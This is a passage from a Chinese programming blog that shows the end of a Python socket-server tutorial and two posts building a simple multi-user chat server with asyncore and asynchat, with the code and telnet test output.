</span>
<span class="c1">#infinite loop so that function do not terminate and thread do not end.
</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="c1">#Receiving from client
</span> <span class="n">data</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">reply</span> <span class="o">=</span> <span class="s">'OK...'</span> <span class="o">+</span> <span class="n">data</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">reply</span><span class="p">)</span>
<span class="c1">#came out of loop
</span> <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="c1">#now keep talking with the client
</span><span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="c1">#wait to accept a connection - blocking call
</span> <span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Connected with '</span> <span class="o">+</span> <span class="n">addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">':'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">addr</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="c1">#start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.
</span> <span class="n">start_new_thread</span><span class="p">(</span><span class="n">clientthread</span> <span class="p">,(</span><span class="n">conn</span><span class="p">,))</span>
<span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<p>行上述服务端程序,然后像之前一样打开三个终端窗口并执行 telent 命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ telnet localhost 8888
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Welcome to the server. Type something and hit enter
hi
OK...hi
asd
OK...asd
cv
OK...cv
</code></pre></div></div>
<p>服务器端所在终端窗口输出信息如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python server.py
Socket created
Socket bind complete
Socket now listening
Connected with 127.0.0.1:60730
Connected with 127.0.0.1:60731
</code></pre></div></div>
<p>线程接管了连接并返回相应数据给客户端。</p>
<p>这便是我们所要介绍的服务器端编程。
结论</p>
<p>到这里为止,你已经学习了 Python 的 Socket 基本编程,你可自己动手编写一些例子来强化这些知识。</p>
<p>你可能会遇见一些问题:Bind failed. Error Code : 98 Message Address already in use,碰见这种问题只需要简单更改服务器端口即可。</p>
<p><a href="http://www.binarytides.com/python-socket-programming-turorial">英文原文</a></p>
简单聊天室<二>
2014-02-18T00:00:00+00:00
http://fish267.github.io/2014/02/18/chatroom2
<p>#功能添加</p>
<p>上文算是个功能完善的聊天服务器, 但是拓展功能有限. 而且不能解释命令, 因此需要增加对与身份和命令解释的支持, 而且还要确保按照每个会话的状态采取适当的行为.</p>
<p>###基础命令解释</p>
<p>比如, 输入<code>say, hello world </code>, 程序应当执行<code>do_say("hello world")</code>.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">CommandHandler</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">unkown</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">"unkown commad %s</span><span class="se">\r\n</span><span class="s">"</span> <span class="o">%</span><span class="n">cmd</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">handle</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">():</span>
<span class="k">return</span>
<span class="n">parts</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">try</span><span class="p">:</span> <span class="n">line</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">IndexError</span> <span class="n">line</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">meth</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s">'do_'</span> <span class="o">+</span> <span class="n">cmd</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">meth</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">TypeError</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">unkown</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">cmd</span><span class="p">)</span></code></pre></figure>
<p><br />
<!--more-->
###添加房间</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">EndSession</span><span class="p">(</span><span class="nb">Exception</span><span class="p">):</span> <span class="k">pass</span>
<span class="k">class</span> <span class="nc">Room</span><span class="p">(</span><span class="n">CommandHandler</span><span class="p">):</span>
<span class="s">''' 可以包括一个或多个用户的泛函环境, 它负责基本的命令处理和广播'''</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">server</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span> <span class="o">=</span> <span class="n">server</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">session</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">remove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">session</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">broadcast</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="k">for</span> <span class="n">session</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">do_logout</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">raise</span> <span class="n">EndSession</span></code></pre></figure>
<p>#最后版本</p>
<p>主聊天室也要覆盖add和remove方法, 此外, ChatRoom 还会实现如下3条命令:</p>
<ul>
<li><code>say</code>: 广播一个单行</li>
<li><code>look</code>: 告诉房间有哪些用户</li>
</ul>
<p>##简单聊天室</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1"># coding: utf-8
</span><span class="kn">from</span> <span class="nn">asyncore</span> <span class="kn">import</span> <span class="n">dispatcher</span>
<span class="kn">from</span> <span class="nn">asynchat</span> <span class="kn">import</span> <span class="n">async_chat</span>
<span class="kn">import</span> <span class="nn">socket</span><span class="p">,</span> <span class="n">asyncore</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="n">NAME</span> <span class="o">=</span> <span class="s">'FISH'</span>
<span class="n">USAGE</span> <span class="o">=</span> <span class="s">'''
login name --登陆服务器
logout --登出
say words --发言
look --查看房间内的用户
who --查看登陆服务器的人
========================================
'''</span>
<span class="c1"># 结束会话
</span><span class="k">class</span> <span class="nc">EndSession</span><span class="p">(</span><span class="nb">Exception</span><span class="p">):</span>
<span class="k">pass</span>
<span class="k">class</span> <span class="nc">CommandHandler</span><span class="p">:</span>
<span class="s">'''
类似cmd中命令处理简单程序
'''</span>
<span class="k">def</span> <span class="nf">unknown</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">session</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="c1"># 响应未知命令
</span> <span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'Unknown command %s </span><span class="se">\r\n</span><span class="s">'</span> <span class="o">%</span> <span class="n">cmd</span><span class="p">)</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'Check the usage : </span><span class="se">\r\n</span><span class="s"> %s'</span> <span class="o">%</span><span class="n">USAGE</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">handle</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="c1"># 处理会话中接收到的行
</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">():</span>
<span class="k">return</span>
<span class="c1"># 分离出命令和说的话
</span> <span class="n">parts</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span> <span class="p">,</span><span class="mi">1</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">IndexError</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="s">''</span>
<span class="c1"># 查找处理程序
</span> <span class="n">meth</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s">'do_'</span> <span class="o">+</span> <span class="n">cmd</span> <span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="c1"># 命令可以调用
</span> <span class="n">meth</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">TypeError</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">unknown</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">cmd</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Room</span><span class="p">(</span><span class="n">CommandHandler</span><span class="p">):</span>
<span class="s">'''
创建一个用户或者多用户的环境,负责命令处理,和广播
'''</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">server</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span> <span class="o">=</span> <span class="n">server</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sessions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="c1"># 一个用户进入
</span> <span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">session</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">remove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="c1"># 一个会话离开房间
</span> <span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">session</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">broadcast</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="c1"># 向房间的人广播
</span> <span class="k">for</span> <span class="n">session</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">do_logout</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="c1"># 响应logout命令
</span> <span class="k">raise</span> <span class="n">EndSession</span>
<span class="k">class</span> <span class="nc">LoginRoom</span><span class="p">(</span><span class="n">Room</span><span class="p">):</span>
<span class="s">'''
为连接到的用户做准备工作
'''</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="n">Room</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">)</span>
<span class="c1"># 向客户端问候一下
</span> <span class="bp">self</span><span class="p">.</span><span class="n">broadcast</span><span class="p">(</span><span class="s">'Welcome to %s</span><span class="se">\r\n</span><span class="s">'</span> <span class="o">%</span><span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">broadcast</span><span class="p">(</span><span class="s">'Chcek the usage : </span><span class="se">\r\n</span><span class="s"> %s'</span> <span class="o">%</span><span class="n">USAGE</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">unknown</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="c1"># 未知命令的处理, 弹出一个警告
</span> <span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'Please log in</span><span class="se">\n</span><span class="s"> use "login <nick> " </span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">do_login</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="n">name</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
<span class="c1"># 确定输入了nickname
</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">name</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'Please enter a name </span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">name</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">users</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'Sorry, the name %s in in use'</span> <span class="o">%</span><span class="n">name</span><span class="p">)</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s"> Please input another one:</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="c1"># 名字okay, 就保存到users中
</span> <span class="n">session</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="n">session</span><span class="p">.</span><span class="n">enter</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">main_room</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">ChatRoom</span><span class="p">(</span><span class="n">Room</span><span class="p">):</span>
<span class="s">'''
为多用户相互聊天准备房间
'''</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="c1"># 告诉所有人,有人进来了
</span> <span class="bp">self</span><span class="p">.</span><span class="n">broadcast</span><span class="p">(</span><span class="n">session</span><span class="p">.</span><span class="n">name</span> <span class="o">+</span> <span class="s">'has entered the room!</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">users</span><span class="p">[</span><span class="n">session</span><span class="p">.</span><span class="n">name</span><span class="p">]</span> <span class="o">=</span> <span class="n">session</span>
<span class="n">Room</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">remove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="c1"># 告诉所有人,有人离开
</span> <span class="n">Room</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">broadcast</span><span class="p">(</span><span class="n">session</span><span class="p">.</span><span class="n">name</span> <span class="o">+</span> <span class="s">'has left the room!</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">do_say</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">broadcast</span><span class="p">(</span><span class="n">session</span><span class="p">.</span><span class="n">name</span> <span class="o">+</span> <span class="s">': '</span> <span class="o">+</span> <span class="n">line</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">do_look</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="c1"># 查询谁在房间
</span> <span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'The followings are in the room : </span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">user</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">sessions</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">user</span><span class="p">.</span><span class="n">name</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'='</span> <span class="o">*</span> <span class="mi">20</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">do_who</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'The followings are logged in:</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">name</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">users</span><span class="p">:</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">name</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">session</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="s">'='</span> <span class="o">*</span> <span class="mi">20</span> <span class="o">+</span> <span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">LogoutRoom</span><span class="p">(</span><span class="n">Room</span><span class="p">):</span>
<span class="c1"># 为单用户准备的简单房间,只用于将用户名重服务器移除
</span> <span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">):</span>
<span class="c1"># 当会话进入要删除的lougoutroom
</span> <span class="k">try</span><span class="p">:</span>
<span class="k">del</span> <span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">.</span><span class="n">users</span><span class="p">[</span><span class="n">session</span><span class="p">.</span><span class="n">name</span><span class="p">]</span>
<span class="k">except</span> <span class="nb">KeyError</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">class</span> <span class="nc">ChatSession</span><span class="p">(</span><span class="n">async_chat</span><span class="p">):</span>
<span class="s">'''
会话,负责和用户通信
'''</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">server</span><span class="p">,</span> <span class="n">sock</span><span class="p">):</span>
<span class="n">async_chat</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">sock</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">server</span> <span class="o">=</span> <span class="n">server</span>
<span class="bp">self</span><span class="p">.</span><span class="n">set_terminator</span><span class="p">(</span><span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="bp">self</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="bp">None</span>
<span class="c1"># 所有的会话开始于单独的LoginRoom中
</span> <span class="bp">self</span><span class="p">.</span><span class="n">enter</span><span class="p">(</span><span class="n">LoginRoom</span><span class="p">(</span><span class="n">server</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">enter</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">room</span><span class="p">):</span>
<span class="c1"># 重当前房间移除自身,并将自己添加到下一个房间
</span> <span class="k">try</span><span class="p">:</span>
<span class="n">cur</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">room</span>
<span class="k">except</span> <span class="nb">AttributeError</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">cur</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">room</span> <span class="o">=</span> <span class="n">room</span>
<span class="n">room</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">collect_incoming_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">found_terminator</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">line</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">data</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">try</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">room</span><span class="p">.</span><span class="n">handle</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">except</span> <span class="n">EndSession</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">handle_close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">handle_close</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">async_chat</span><span class="p">.</span><span class="n">handle_close</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">enter</span><span class="p">(</span><span class="n">LogoutRoom</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">server</span><span class="p">))</span>
<span class="k">class</span> <span class="nc">ChatServer</span><span class="p">(</span><span class="n">dispatcher</span><span class="p">):</span>
<span class="s">'''
只有一个房间的聊天服务器
'''</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span>
<span class="n">dispatcher</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">create_socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">set_reuse_addr</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">''</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="bp">self</span><span class="p">.</span><span class="n">users</span> <span class="o">=</span> <span class="p">{}</span>
<span class="bp">self</span><span class="p">.</span><span class="n">main_room</span> <span class="o">=</span> <span class="n">ChatRoom</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">handle_accept</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="n">ChatSession</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">conn</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ChatServer</span><span class="p">(</span><span class="n">PORT</span><span class="p">,</span> <span class="n">NAME</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">loop</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">print</span> </code></pre></figure>
<p>#ScreenShot:</p>
<p><img src="https://github.com/fish267/ChatApp/blob/master/Screenshot.png?raw=true" alt="" />
<br />
<a href="https://github.com/fish267/ChatApp">Git源代码</a></p>
简单聊天室<一>
2014-02-18T00:00:00+00:00
http://fish267.github.io/2014/02/18/chatroom1
<p>#背景</p>
<p>互联网上在线聊天服务的种类很多, 如IRC, 在Python中实现这样一个方法, 可以使用<code>Twisted</code>框架.</p>
<p>自己写一个的原因:</p>
<blockquote>
<p>学习网络编程基本的知识<br />
看书笔记总结</p>
</blockquote>
<p>聊天服务器基本的功能如下:</p>
<ul>
<li>服务器能接受不同客户端的连接</li>
<li>允许用户并行操作</li>
<li>能够解释命令, 如在<strong><em>shell</em></strong>中的操作</li>
</ul>
<!--more-->
<p><br />
#初次实现</p>
<p>###1 迷你服务器</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">asyncore</span> <span class="kn">import</span> <span class="n">dispatcher</span>
<span class="kn">import</span> <span class="nn">asyncore</span>
<span class="k">class</span> <span class="nc">ChatServer</span><span class="p">(</span><span class="n">dispatcher</span><span class="p">):</span>
<span class="k">pass</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ChatServer</span><span class="p">()</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">loop</span></code></pre></figure>
<p>###2 可以接受连接的服务器</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">asyncore</span> <span class="kn">import</span> <span class="n">dispatcher</span>
<span class="kn">import</span> <span class="nn">asyncore</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">5267</span>
<span class="k">class</span> <span class="nc">ChatServer</span><span class="p">(</span><span class="n">dispatcher</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">handle_accept</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'Connection from '</span><span class="p">,</span> <span class="n">addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">ChatServer</span><span class="p">()</span>
<span class="n">s</span><span class="p">.</span><span class="n">create_socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">''</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="n">asyncore</span><span class="p">.</span><span class="n">loop</span><span class="p">()</span></code></pre></figure>
<p><code>handle_accept</code>方法会调用允许客户端连接的self.accept函数. 他返回一个连接和一个地址, 初始化的过程, 调用了<code>create_socket</code>创建套接字, <code>bind</code>来绑定端口, <code>listen</code>用来监听. 试着运行下面的语句:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>telnet localhost 5267
</code></pre></div></div>
<p>会出现如下</p>
